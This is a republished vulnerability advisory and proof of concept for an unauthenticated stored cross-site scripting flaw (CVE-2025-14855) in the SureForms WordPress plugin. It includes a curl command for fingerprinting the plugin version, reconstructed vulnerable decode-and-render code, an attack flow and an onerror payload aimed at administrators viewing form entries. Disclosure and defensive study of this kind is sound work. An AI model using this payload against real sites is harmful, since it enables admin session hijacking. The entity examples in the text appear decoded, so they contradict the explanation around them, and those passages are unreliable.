WordPress SureForms 2.2.0 Cross Site Scripting
# CVE-2025-14855: SureForms WordPress Plugin WordPress SureForms 2.2.0 Cross Site Scripting
# CVE-2025-14855: SureForms WordPress Plugin Stored XSS Proof of Concept
- **Target:** WordPress Plugin "SureForms"
- **Plugin Wordpress:** https://wordpress.org/plugins/sureforms/
- **Vulnerability Type:** Stored Cross-Site Scripting (XSS)
- **CVE:** CVE-2025-14855
- **Refer:** https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/sureforms/sureforms-220-unauthenticated-stored-cross-site-scripting
- **Authentication:** Unauthenticated (Guest/Public)
- **Impact:** Remote Code Execution (RCE) via Admin Session Hijacking
- **Discovered by:** https://nguyentiendung1006.wixsite.com/tiendung
## 1. Abstract
A critical **Stored XSS** vulnerability exists in the SureForms plugin. The vulnerability stems from an insecure client-side implementation in `entries.js` where user input is programmatically **decoded** (reversing server-side sanitization) and then rendered using `dangerouslySetInnerHTML` without proper client-side sanitization. This allows unauthenticated attackers to inject malicious JavaScript payloads via standard form fields, bypassing WordPress's default `wp_kses` filters.
## 2. Version Identification
To verify if a target site is running SureForms, inspect the translation file header which typically contains the version number.
**Target URL:**
`http://target-site.com/wp-content/plugins/sureforms/languages/sureforms.pot`
**Verification Command:**
```bash
curl -s "http://target-site.com/wp-content/plugins/sureforms/languages/sureforms.pot" | grep "Project-Id-Version"
```
## 3. Reverse Engineering & Root Cause Analysis
The vulnerability resides in the React-based admin interface responsible for viewing form entries (`entries.js`).
### 3.1. The "Auto-Decoder" Logic (The Bypass)
In the minified `entries.js` file, there is a helper function (identified as `Xv` in the analyzed build) designed to handle HTML entities.
**Code Logic (Reconstructed):**
```javascript
// Function Xv: Pre-processing field values
var Xv = function(input) {
var value = input.value;
// VULNERABILITY ROOT CAUSE:
// If the string contains HTML entities (e.g., <), create a textarea,
// inject the content, and extract the value.
// This effectively DECODES HTML entities back to raw HTML tags.
// Example: "<img ...>" becomes "<img ...>"
if (typeof value === "string" && value.match(/&[a-zA-Z0-9#]+;/)) {
var textarea = document.createElement("textarea");
textarea.innerHTML = value;
// Logic to revert sanitization
if (textarea.value.includes("<") || textarea.value.includes(">")) {
value = textarea.value; // Now 'value' contains RAW HTML
}
}
return { ...input, value: value };
}
```
**Analysis:** This function defeats backend security. Even if WordPress correctly stores `<script>` as `<script>` in the database, this function converts it back to `<script>` immediately after fetching it from the API.
### 3.2. The Dangerous Sink
After decoding, the data is passed to the rendering component (identified as `Jv`).
**Code Logic (Reconstructed):**
```javascript
// Function Jv: Rendering the field
var Jv = function(props) {
var field = props.field;
var val = field.value; // This value is now raw HTML (post-decoding)
// THE TRIGGER: Check if the string looks like HTML
if (typeof val === "string" && val.match(/<[^>]+>/g)) {
// THE SINK: Render using dangerouslySetInnerHTML WITHOUT client-side sanitization (e.g., DOMPurify)
return React.createElement("span", {
dangerouslySetInnerHTML: { __html: val }
});
}
// Safe render for non-HTML text
return React.createElement("span", null, val);
}
```
## 4. Attack Flow
1. **Injection:** An unauthenticated attacker submits a form on the frontend. Instead of using raw HTML tags (which would be stripped/sanitized by WordPress backend), the attacker sends **HTML Entities**.
2. **Storage:** WordPress sees the input (e.g., `<img...`) as safe text and stores it in the database.
3. **Execution (The Trap):**
* The Admin navigates to **SureForms > Entries**.
* The browser fetches the entry details via JSON API.
* The `Xv` function detects the entities and decodes `<img...` back to `<img...`.
* The `Jv` function detects the `<` character via Regex.
* The payload is executed via `dangerouslySetInnerHTML`.
## 5. Proof of Concept (PoC)
### Step 1: Submit Malicious Entry
Submit a SureForms contact form with the following payload in any text field (Name, Message, Subject, etc.):
**Payload:**
```html
<img src=x onerror=alert('XSS_SUREFORMS')>
```
*Note: We use HTML Entities to bypass server-side WAF/Sanitization filters.*
### Step 2: Trigger XSS
1. Log in as an Administrator.
2. Go to **SureForms** -> **Entries**.
3. Click on the entry submitted in Step 1 to view details.
4. **Result:** The browser will execute the JavaScript payload (`alert('XSS_SUREFORMS')`).
WordPress SureForms 2.2.0 Cross Site Scripting
- Details
- Written by: khalil shreateh
- Category: Vulnerabilities
- Hits: 117